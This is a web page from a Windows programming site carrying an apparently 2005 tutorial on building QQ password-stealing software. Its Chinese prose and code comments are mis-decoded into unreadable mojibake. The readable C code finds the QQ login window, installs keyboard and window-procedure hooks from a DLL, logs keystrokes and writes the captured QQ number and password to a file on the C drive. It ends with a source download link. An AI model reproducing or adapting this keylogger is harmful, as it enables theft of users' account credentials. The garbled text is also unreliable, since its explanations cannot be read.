»áÔ±£º ÃÜÂ룺 ¡¡Ãâ·Ñ×¢²á | Íü¼ÇÃÜÂë | »áÔ±µÇ¼ ÍøÒ³¹¦ÄÜ£º ¼ÓÈëÊÕ²Ø ÉèΪÊ×Ò³ ÍøÕ¾ËÑË÷  
¼¼ÊõÎĵµ > VCÎĵµ > ƽ̨SDK
µÁQQµÄÃÜÂëÈí¼þÄ£ÄâʵÏÖ
·¢±íÈÕÆÚ£º2005-08-25 01:07:13×÷ÕߣºÓ ³ö´¦£ºVCÂÛ̳  

¡¡¡¡[±àÕß°´£º±¾ÎÄÒÔ´¿¼¼ÊõµÄ½Ç¶È̽ÌÖʹÓù³×ÓÀ´»ñµÃÃÜÂ룬Çë²»ÒªÓÃÓÚ·Ç·¨Ä¿µÄ¡£]

¡¡¡¡×î½üÌìÆøÌ«ÈÈ£¬Íâ¼ÓÎÞÁÄ£¬³öÓÚÁ·Ï°µÄÄ¿µÄ£¬Ïëµ½ÁËд¸öµÁQQµÄÈí¼þ£¬Ëµ¡°µÁ¡±£¬Î´ÃâÊÇÌ«ÄÑÌýÁË°É£¬ÓÚÊÇÎÒ¸øËüÆðÃûΪ¡°UiQQµÀ¡±.ÏÂÃæ¾ÍÊDZ¾Èí¼þµÄ½çÃ沿·Ö£º

 

(ͼ1£®Èí¼þ½çÃ沿·Ö)

¡¡¡¡Ò»°ãµÄµÁÃÜÂëµÄÈí¼þµÄÈí¼þ¶¼ÊÇͨ¹ý¼àÊÓ¼üÅÌÀ´»ñµÃÃÜÂ룬ÕâÑù²Ù×÷±È½Ï·½±ã£¬µ«ÊÇÕâÑùÒ²´æÔÚÒ»¶¨ÎÊÌ⣬ÃÜÂëÓеÄʱºò²»ÊǺÜ׼ȷ£¬ÒòΪÓеÄÈËÊäÈëÃÜÂë²¢²»ÊÇ´ÓÇ°µ½ºóÊäÈ룬µ±È»ÕâÑùµÄÈËÒ²ÊÇÉÙÊý£¬µÁÃÜÂëÂµ±È»È¥µÃµ½ÄÇЩ±È½Ï´ÖÐĵÄÈ˵ÄÃÜÂ룡 ͨ¹ý°²×°¹³×ÓÀ´¼àÊÓQQµÇ½½çÃæ¾ÍÊÇ»ñµÃÃÜÂëµÄ·½·¨£¬ÔÚ°²×°Ç°µÃÏÈÕÒµ½µÇ½´°¿ÚµÄ¾ä±ú£¬µ±¹³×Ó°²×°ºó£¬¼Ç¼¼üÅÌ£¬µ±Óû§¡°»Ø³µ¡±»òÊǵãÁË¡°µÇ½¡±¾Í¿ÉÒÔ¿ªÊ¼´¦ÀíÃÜÂëÁË£¡ ÎÒ×¼±¸·ÖΪËIJ¿·ÖÀ´ËµÃ÷Õâ¸öÕû¸ö¹ý³Ì£º

¡¡¡¡£¨1£©Ñ°ÕÒQQµÇ½½çÃæ¡£
¡¡¡¡£¨2£©°²×°¹³×Ó
¡¡¡¡£¨3£©¹³×Óº¯ÊýµÄ½âÊÍ.
¡¡¡¡£¨4£©´¦ÀíÃÜÂë¡£

¡¡¡¡ÒÔϲ¿·ÖÈ«ÊÇʹÓÃCÓïÑÔ£¬ÎÄÕÂÖÐÎÒ¼ÙÉè¶ÁÕßÄúÊÇ»áC/SDK±à³ÌµÄ¡£Èç¹ûÓöµ½Ïà¹ØµÄ¸ÅÄîÐÔÎÊÌ⣬Äú¿ÉÒԲ鿴MSDN»òÊÇÉÏBBS ѯÎÊ£¡

¡¡¡¡µÚÒ»²¿·Ö£º£¨1£©Ñ°ÕÒQQµÇ½½çÃæ

¡¡¡¡Èí¼þÔËÐкó£¬ÀûÓð²×°¶¨Ê±Æ÷£¬Ã¿ÃëÔÚϵͳÕÒQQµÇ½½çÃ棬ÕâÑù»ù±¾ÉÏÖ»ÒªÓû§´ò¿ªÁËQQµÇ½½çÃæ¾Í»á±»×¥×¡Æä¾ä±ú£¬¿´ÏÂÃæ´úÂ룺


¡¡¡¡#define ID_MYTIMER 555
¡¡¡¡SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
¡¡¡¡°²×°ºÃTIMERºó£¬ÏÂÃæÊÇ´¦ÀíÖ÷³ÌÐòµÄWM_TIMERÏûÏ¢£¬·²ÊdzöÏÖûÓж¨ÒåµÄ±äÁ¿£¬Äú¿ÉÒÔÀí½âΪÊÇÈ«¾Ö±äÁ¿.
//´¦ÀíWM_TIMER´úÂë
if (!IsWindow(g_hQQLogin)) //ÅжÏg_hQQLoginÊÇ·ñÊÇÓÐЧµÄ´°¿Ú¾ä±ú
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL); //²ÎÊýΪNULLÊÇжÔØHOOK£¬²ÎÊýΪ¾ä±úÊÇ°²×°¾ä±ú
do
{
//ÀûÓÃFindWindowEx²éÕÒQQµÇ½´°¿Ú£¬¾ßÌå²ÎÊýÒâ˼Çë²éMSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //¶Ô»°¿òµÄÀ඼ÊÇ#32770
//ÕÒµ½ÀàÃûÊÇ#32770ºó£¬ÔÙÔÚÆä´°ÌåÄÚÕÒÒ»¸ö¾ßÓС° µÇ¼QQ¡±µÄBUTTON°´Å¦
//ÕâÒ»¾äºÜ¹Ø¼ü£¬Èç¹ûÄãµÄQQµÇ½´°¿ÚÉÏûÓÐ" µÇ¼QQ"×ÖÑù£¬ÄÇô»ñÈ¡ÃÜÂ뽫ʧ°Ü£¡
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 怬QQ");
}
while(g_hQQLogin != NULL && hLogin == NULL); //Ö±µ½ÕÒµ½Ö¸¶¨µÄ´°¿Ú£¬¼´£ºQQµÇ½´°¿Ú

if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin); //°²×°HOOK£¬´Ëº¯ÊýÔÚDLLÎļþÖÐ µÚ¶þ²¿·ÖÖнéÉÜ
}
}

¡¡¡¡ÉÏÃæ¾ÍÊDzéÕÒQQµÇ½´°¿Ú¾ä±úµÄ¹ý³Ì£¬´Ó´úÂë¿ÉÒÔ¿´³öÎÒÓõķ½·¨£ºÕÒÒ»¸öÆä×Ó´°ÌåÖÐÓÐÒ»¸ö±êÌâΪ¡° µÇ¼QQ¡±µÄBUTTONµÄ¶Ô»°¿ò£¨Õâ¾ä»°ËµµÃÓеãÈÄ¿Ú£¬Õâ¾ä»°Èç¹ûÒ²¿´²»¶®£¬ÏÂÃæÄú²»Óÿ´ÁË£º£¨£© ÎÒ×ʼÊÇÏëÀûÓà FindWindow(NULL,"QQÓû§µÇ½´°¿Ú")À´²éÕÒ£¬µ«ÊÇÎÒÓÃSpy++¿´ÁËQQµÇ½´°¿ÚµÄ±êÌâ²¢²»ÊÇ¡°QQÓû§µÇ½´°¿Ú¡±£¬¶øÊÇ¡°ÂÒÂ롱£¬ÆäÖаüº¬Á˻سµ¼üµÈÌØÊâ×Ö·û£¬ÓÚÊÇÎÒÓÃÁËFindWindowEx().

¡¡¡¡µÚ¶þ²¿·Ö£º£¨2£©°²×°¹³×Ó

¡¡¡¡ÕÒµ½ÁËQQµÇ½´°¿Úºó£¬¾Í³É¹¦ÁËÒ»°ë¡£

¡¡¡¡ÏÂÃæÊÇDLLÎļþÖеݲװHOOKµÄº¯ÊýSetQQHook(), ΪʲôҪÓÃDLL£¨¶¯Ì¬Á¬½Ó¿â£©£¿ÒªÈ¥¡°¹³¡±ÆäËû½ø³ÌµÄÏûÏ¢£¬µÃÈÃHOOKº¯ÊýÔÚDLLÖУ¬ÕâÑùºÃÓ³Éäµ½ÆäµØÖ·¿Õ¼äÖУ¡


BOOL WINAPI SetQQHook(HWND hQQLogin)
{
//»ñµÃµÇ½¿òµÄ¾ä±ú
BOOL bRet = FALSE;
if (hQQLogin != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //ÕâÊÇʲôÒâ˼£¿¿´MSDN

g_hNum = GetDlgItem(hQQLogin, 138); //²»Í¬°æ±¾QQ£¬´Ë´¦²»Ò»Ñù£¡ µÃµ½QQºÅµÄ×Ó´°¿Ú¾ä±ú
g_hPsw = GetDlgItem(hQQLogin, 180);  //²»Í¬°æ±¾QQ£¬´Ë´¦²»Ò»Ñù£¡µÃµ½QQÃÜÂëµÄ×Ó´°¿Ú¾ä±ú
if (g_hNum == NULL)
{
MessageBox(NULL,"¿ÞÁË£¬ºÅÂë¾ä±ú¶¼Ã»Óеõ½£¡","ÓôÃÆ",0);
return FALSE;
}
if(g_hPsw==NULL)
{
MessageBox(NULL,"¿ÞÁË£¬ÃÜÂë¾ä±ú¶¼Ã»Óеõ½£¡","ÓôÃÆ",0);
return FALSE;
}
//·Ö±ð¼üÅÌHOOK£¬ºÍ½çÃ沿·ÖÏûÏ¢´¦ÀíµÄHOOK
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// жÔع³×Ó
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hNum = NULL;
}
return bRet;
}

¡¡¡¡ÉÏÃæÊÇ°²×°HOOK²¿·ÖµÄ´úÂ룬¾ÍÕâô¼òµ¥£¬ÏÂÃæÌáµ½ÁËCallWndProc£¬KeyboardProcÊÇÁ½¸ö»Øµ÷º¯Êý£¬ÊÇÎÒµÚÈý²¿·ÖÒª½âÊ͵Ĺ³×Óº¯Êý¡£

¡¡¡¡µÚÈý²¿·Ö£º£¨3£©¹³×Óº¯ÊýµÄ½âÊÍ

¡¡¡¡CallWndProc£¬KeyboardProcÊÇÁ½¸ö»Øµ÷º¯ÊýµÄÔ­Ðͺ;ßÌå´úÂëÈçÏ£º
// ¹³×Ó¹ý³Ì£¬¼àÊÓ¡°µÇ½¡±µÄÃüÁîÏûÏ¢
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// ²¶»ñ¡°µÇ½¡±°´Å¥
if (p->message == WM_COMMAND && p->wParam ==16032)
//ÏÂÃæ¸öº¯ÊýÊÇÎÒÔÚµÚËIJ¿·Ö½éÉÜ-¡°´¦ÀíÃÜÂ롱²¿·Ö»á×Ðϸ˵Ã÷
//µ±Óû§µãÁ˵ǽ°´Å¥£¬ËµÃ÷QQºÅÂëºÍQQÃÜÂëÒѾ­ÌîдÍê±Ï£¬µ±È»¿ÉÒÔÈ¥»ñµÃÃÜÂëÁË
GetPasswrod();
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}

// ¼üÅ̹³×Ó¹ý³Ì£¬¼àÊÓ¡°µÇ½¡±µÄÈȼüÏûÏ¢
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// ²¶»ñÈȼüÏûÏ¢£¬¼Ç¼¼üÅ̵İ´¼üÅ̹ý³Ì,pmsgÊÇPMSGÀàÐ͵ģ¬iÊÇÈ«¾ÖStaticÀàÐ͵Ä
pmsg[i].wParam =wParam;
i++;
if (wParam == VK_RETURN) //Óû§Ê¹ÓüüÅÌ¡°»Ø³µ¡±À´µÇ½£¬Óû§ÓÃÁ˻سµºó£¬¾Í¿ÉÒÔ¿ÉÒÔÈ¥»ñµÃÃÜÂëÁË
GetPasswrod();
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}

¡¡¡¡ÔÚÃ÷°×ÁËÕâÁ½¸ö¹³×Óº¯Êýºó¾Í¿ÉÒÔ¿´ºóÆÚÊÇÈçºÎ¾ßÌå´¦ÀíÃÜÂëµÄÁË£¬Õâ¾ÍÊÇÏÂÃæµÄµÚËIJ¿·ÖÄÚÈÝ¡£

¡¡¡¡µÚËIJ¿·Ö£º£¨4£©´¦ÀíÃÜÂë

¡¡¡¡Èç¹ûÄú¶Áµ½ÁË´Ë´¦£¬ÎÒÏëµÃÔÝÍ£Ò»»á£¬ÏÈÈÃÎÒÀ´°ïÄã»ØÒäÒ»ÏÂÇ°ÃæÌáµ½µÄ¼¸¸ö¹Ø¼üµÄ±äÁ¿

¡¡¡¡µÚÒ»¸ö£ºQQºÅµÄ×Ó´°¿Ú¾ä±ú g_hNum
¡¡¡¡µÚ¶þ¸ö£ºQQÃÜÂëµÄ×Ó´°¿Ú¾ä±ú g_hPsw //´Ë²¿·ÖÔÝʱ²»Ê¹Óã¬ÏÂÃæ
¡¡¡¡µÚÈý¸ö£º´æ¼üÅÌ°´¼üµÄ pmsg

¡¡¡¡ÉÏÃæÈý±äÁ¿·Ö±ð³öÏÖÔÚµÚ¶þ²¿·ÖºÍµÚÈý²¿·Ö£¬¶¼ÊÇÈ«¾Ö¹²Ïí£¨shared£©±äÁ¿QQÃÜÂëµÄ×Ó´°¿Ú¾ä±ú g_hPsw ´Ë²¿·ÖÔÝʱ²»Ê¹Óã¬Äã¿ÉÒÔ¿´µ½ÏÂÃæ´úÂëÖÐÓоäÓõ½g_hPswµÄÓï¾äÊÇÎÒ×¢Ê͵ôÁ˵ģ¬Ô­ÒòÊÇÎÞ·¨Í¨¹ýÄÇÑùÈ¥µÃµ½QQÃÜÂ룬µÃ´¦Àí°´¼üÏûÏ¢¡£


void GetPasswrod()
{
//ÉùÃ÷±äÁ¿ºÍ³õʼ»¯
HANDLE f;
TCHAR num[13];
TCHAR psw[21];
TCHAR total[50];
int j;
memset(num,0,sizeof(num));
memset(total,0,sizeof(total));
memset(psw,0,sizeof(psw));

DWORD dw;
//µÃµ½QQºÅµÄÄÚÈÝ£¬ÒÔΪÓеÄÈ˵ÄQQºÅÊÇÔڵǽ¿òÓмǼ£¬ÆäQQºÅ²¢ÊÇÓüüÅÌÊäÈëµÄ
GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //´Ë¾ä²»Ê¹Óã¬ÎÞ·¨ÕâÑù»ñµÃÃÜÂë

//ÌáÈ¡³ö¼üÅ̼Ǽ,´ËÄÚÈÝÒ²ÐíÈ«ÊÇÃÜÂ룬ҲÐíÊÇQQºÅ+QQÃÜÂë
for(j=0;j 20;j++)
{
psw[j]=(TCHAR)pmsg[j*2].wParam ;
}
psw[j+1]='\0';
//°ÑQQºÅÂëºÍQQÃÜÂëдÈëCÅÌpassword.txtÖÐ
f = CreateFile("c:\\password.txt",
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

strcat(total,"ºÅÂë");
strcat(total,num);
strcat(total,"ÃÜÂë:");
strcat(total,psw);
WriteFile(f,&total,sizeof(total),&dw,NULL);
CloseHandle(f);
}

¡¡¡¡×îºóÔÚCÅÌpassword.txtÒ²Ðí»á³öÏÖÕâÑùÁ½ÖÖÇé¿ö£º

¡¡¡¡1£©µ±QQºÅÊÇûÓÐÓÃÊäÈ룬¶øÒÑÓõÄÕ³Ìù»òÕßÊǵçÄÔÒÔÇ°ÓмǼÔòÊÇ£ººÅÂ룺21728812ÃÜÂ룺TEST
¡¡¡¡2) µ±QQºÅÊÇÓõļüÅÌÊäÈ룬µçÄÔûÓÐQQºÅ¼Ç¼ʱÔòÊÇ£º ºÅÂ룺21728812ÃÜÂ룺21728812TEST
¡¡¡¡¿ÉÒÔ¿´³ö£¬µÚ2ÖÖÇé¿ö°ÑQQµ±³ÉÁËÃÜÂëÁË£¬ËùÒÔÃÜÂ뻹µÃ¼õÈ¥QQºÅ¡£

¡¡¡¡Ìرð˵Ã÷£ºÎÒÕâÑùÖ±½Ó´¦ÀíwParam²ÎÊý£¬µÃµ½µÄ×Ö·ûÃÜÂëÈ«ÊÇ´óдµÄ£¬¾ßÌå´óСдÎÊÌâÎÒûÓоÍûÓÐ×Ðϸȥ´¦ÀíµÄ£¬¹¦ÄÜʵÏÖ¾ÍÐÐÁË£¬±Ï¾¹ÎÒʹÓÃËû²»ÓÃÀ´µÁÃÜÂëµÄ£¡

¡¡¡¡ÉÏÃæËIJ¿·Ö»ù±¾ÉÏ»ñµÃÃÜÂëµÄ¹¦ÄܽéÉÜÍê±Ï¡£·²ÊÇûÓнéÉܵıäÁ¿½ÔÊÇÈ«¾Ö±äÁ¿£¬Ã»ÓÐÌáµ½µÄº¯ÊýÈ磺GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()µÈ½ÔÊÇWindows API£¬ÏêϸʹÓÃ˵Ã÷Çë²éMSDN£¨http://www.msdn.com),ÎÒÌáµ½µÄ¡°HOOK¡±£¬¡°¹³×Ó¡±ÊÇͬһ¸öÒâ˼£¬Ò²ÐíÓеĵط½ÎÒ˵µÄ¹³×Óº¯Êý£¬¶øÁíÍâÒ»¸öµØ·½ËµµÄÊÇHOOKº¯Êý

¡¡¡¡Ìرð˵Ã÷£ºÉÏÃæÓоßÌåµÄÔËÐÐÎļþ£¬ÓÉÓÚСµÜ²¢Ã»Óп¼Âǵ½¸ü¶àϸ½Ú£¬ÎÒÖ»ÊÇÓÃÁË¡°ÀíÏ롱״¿öÏÂÈ¥»ñµÃÃÜÂ룬²¢ÇÒ»òµÄÃÜÂëºó²¢Ã»ÓÐ×¢ÖغóÆÚÃÜÂë´¦Àí£¬Ò²Ðí³öÏÖÃÜÂë´óСд²»·ûºÏ»òÊÇÎÞ·¨µÃµ½ÃÜÂ룬дÕâƪÎÄÕÂÒâÔÚ¸æËßһЩ¶ÔÕâ·½Ãæ¸Ðµ½ÒÉ»óµÄÅóÓÑ»ù±¾µÄÔ­Àí£¬ºÍÏ£ÍûºÍ´ó¼Ò½»Á÷ £¡

¡¡¡¡×¢Ò⣺±¾ÈËʹÓõÄQQ2005 ºØËê°æ °æ±¾ºÅ£º13.5.0.8213£¬ÆäËû°æ±¾µÄQQÎÒÎÞ·¨±£Ö¤¿ÉÒÔÕýÈ·µÃµ½ÃÜÂ룡

¡¡¡¡²Î¿¼×ÊÁÏ£ºMSDN£¬TitilimaµÄQQβ°Í²¡¶¾Ä£Äâ´úÂë

Ô´ÂëÏÂÔØ£º http://www.lihuasoft.net/source/show.php?id=3885

¡¾·µ»Ø¶¥²¿¡¿ ¡¾´òÓ¡±¾Ò³¡¿ ¡¾¹Ø±Õ´°¿Ú¡¿

¹ØÓÚÎÒÃÇ / ¸øÎÒÁôÑÔ / °æȨ¾Ù±¨ / Òâ¼û½¨Òé / ÍøÕ¾±à³ÌQQȺ   
Copyright ©2003- 2024 Lihuasoft.net webmaster(at)lihuasoft.net ¼ÓÔØʱ¼ä 0.00462